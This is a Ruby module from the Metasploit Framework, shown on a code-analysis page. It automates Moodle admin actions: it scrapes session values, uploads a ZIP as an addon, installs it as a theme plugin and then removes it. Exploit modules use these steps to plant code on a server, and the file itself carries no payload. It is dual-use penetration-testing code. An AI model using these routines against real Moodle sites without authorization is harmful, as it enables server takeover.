rapid7/metasploit-framework

View on GitHub
lib/msf/core/exploit/remote/http/moodle/admin.rb

Summary

Maintainability
A
3 hrs
Test Coverage
# -*- coding: binary -*-

module Msf::Exploit::Remote::HTTP::Moodle::Admin
  # Retrieves variables required for uploading an addon
  #
  # @return [String] session key
  # @return [String] item id
  # @return [String] author name
  # @return [String] client id
  def get_addon_variables
    res = send_request_cgi!(
      'keep_cookies' => true,
      'uri' => moodle_admin_addon_install
    )

    sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info
    item_id = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload
    author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info
    client_id = res.body.split('client_id":"')[1].split('"')[0] # fetch client info
    return sesskey, item_id, author, client_id
  end

  # Uploads an addon to Moodle
  #
  # @param addon_name [String] Name of addon to be uploaded
  # @param moodle_version [Rex::Version] Version of the moodle instance, as a Rex::Version
  # @param addon_content [ZipArchive] Zip of the addon content
  # @return [String,nil] file ID of the uploaded zip file, nil on failure
  # @return [String,nil] Session key, nil on failure
  def upload_addon(addon_name, moodle_version, addon_content)
    sesskey, item_id, author, client_id = get_addon_variables
    # creating multipart data for the upload addon file
    pdata = Rex::MIME::Message.new
    pdata.add_part(addon_content, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{addon_name}.zip\"")
    pdata.add_part('', nil, nil, 'form-data; name="title"')
    pdata.add_part(author, nil, nil, 'form-data; name="author"')
    pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"')
    pdata.add_part(item_id, nil, nil, 'form-data; name="itemid"')
    pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"')
    if moodle_version < Rex::Version.new('3.9.0')
      pdata.add_part('4', nil, nil, 'form-data; name="repo_id"')
    else
      pdata.add_part('5', nil, nil, 'form-data; name="repo_id"')
    end
    pdata.add_part('', nil, nil, 'form-data; name="p"')
    pdata.add_part('', nil, nil, 'form-data; name="page"')
    pdata.add_part('filepicker', nil, nil, 'form-data; name="env"')
    pdata.add_part(sesskey, nil, nil, 'form-data; name="sesskey"')
    pdata.add_part(client_id, nil, nil, 'form-data; name="client_id"')
    pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"')
    pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"')
    pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"')
    pdata.add_part('/', nil, nil, 'form-data; name="savepath"')

    res = send_request_cgi!({
      'method' => 'POST',
      'data' => pdata.to_s,
      'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php'),
      'vars_get' => {
        'action' => 'upload'
      }
    })

    unless res.body =~ /draftfile.php/
      return nil, nil
    end

    file_id = res.body.split('draft\/')[1].split('\/')[0]
    return file_id, sesskey
  end

  # Uninstalls an addon from Moodle
  #
  # @param addon_name [String] Name of addon to be uploaded
  # @param moodle_version [Rex::Version] Version of the moodle instance, as a Rex::Version
  # @param sesskey [String] session key
  # @return [HttpResponse] HttpResponse object
  def remove_plugin(addon_name, moodle_version, sesskey)
    if moodle_version < Rex::Version.new('3.9.0')
      send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
        'keep_cookies' => true,
        'vars_post' => {
          'cache' => '0',
          'confirmplugincheck' => '0',
          'abortinstallx' => '1',
          'confirmabortinstall' => '1',
          'sesskey' => sesskey
        }
      })
    else
      send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
        'keep_cookies' => true,
        'vars_post' => {
          'cache' => '0',
          'confirmrelease' => '1',
          'confirmplugincheck' => '0',
          'abortinstallx' => addon_name,
          'confirmabortinstall' => '1',
          'sesskey' => sesskey
        }
      })
    end
  end

  # Integrates an addon to Moodle
  #
  # @param sesskey [String] session key
  # @param file_id [String] ID of the file to integrate
  # @param plugin_name [String] name of the plugin file
  # @param type [String] The type of addon being added.  Defaults to 'theme'
  # @return [HttpResponse,nil] HttpResponse object, nil on failure
  def plugin_integration(sesskey, file_id, plugin_name, type = 'theme')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
      'keep_cookies' => true,
      'vars_post' => {
        'sesskey' => sesskey,
        '_qf__tool_installaddon_installfromzip_form' => '1',
        'mform_showmore_id_general' => '0',
        'mform_isexpanded_id_general' => '1',
        'zipfile' => file_id,
        'plugintype' => type,
        'rootdir' => '',
        'submitbutton' => 'Install+plugin+from+the+ZIP+file'
      }
    )

    return nil unless res.body =~ /installzipstorage/

    storage = res.body.split('installzipstorage=')[1].split('&')[0]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
      'keep_cookies' => true,
      'vars_post' => {
        'installzipcomponent' => "#{type}_#{plugin_name}",
        'installzipstorage' => storage,
        'installzipconfirm' => '1',
        'sesskey' => sesskey
      }
    )
  end
end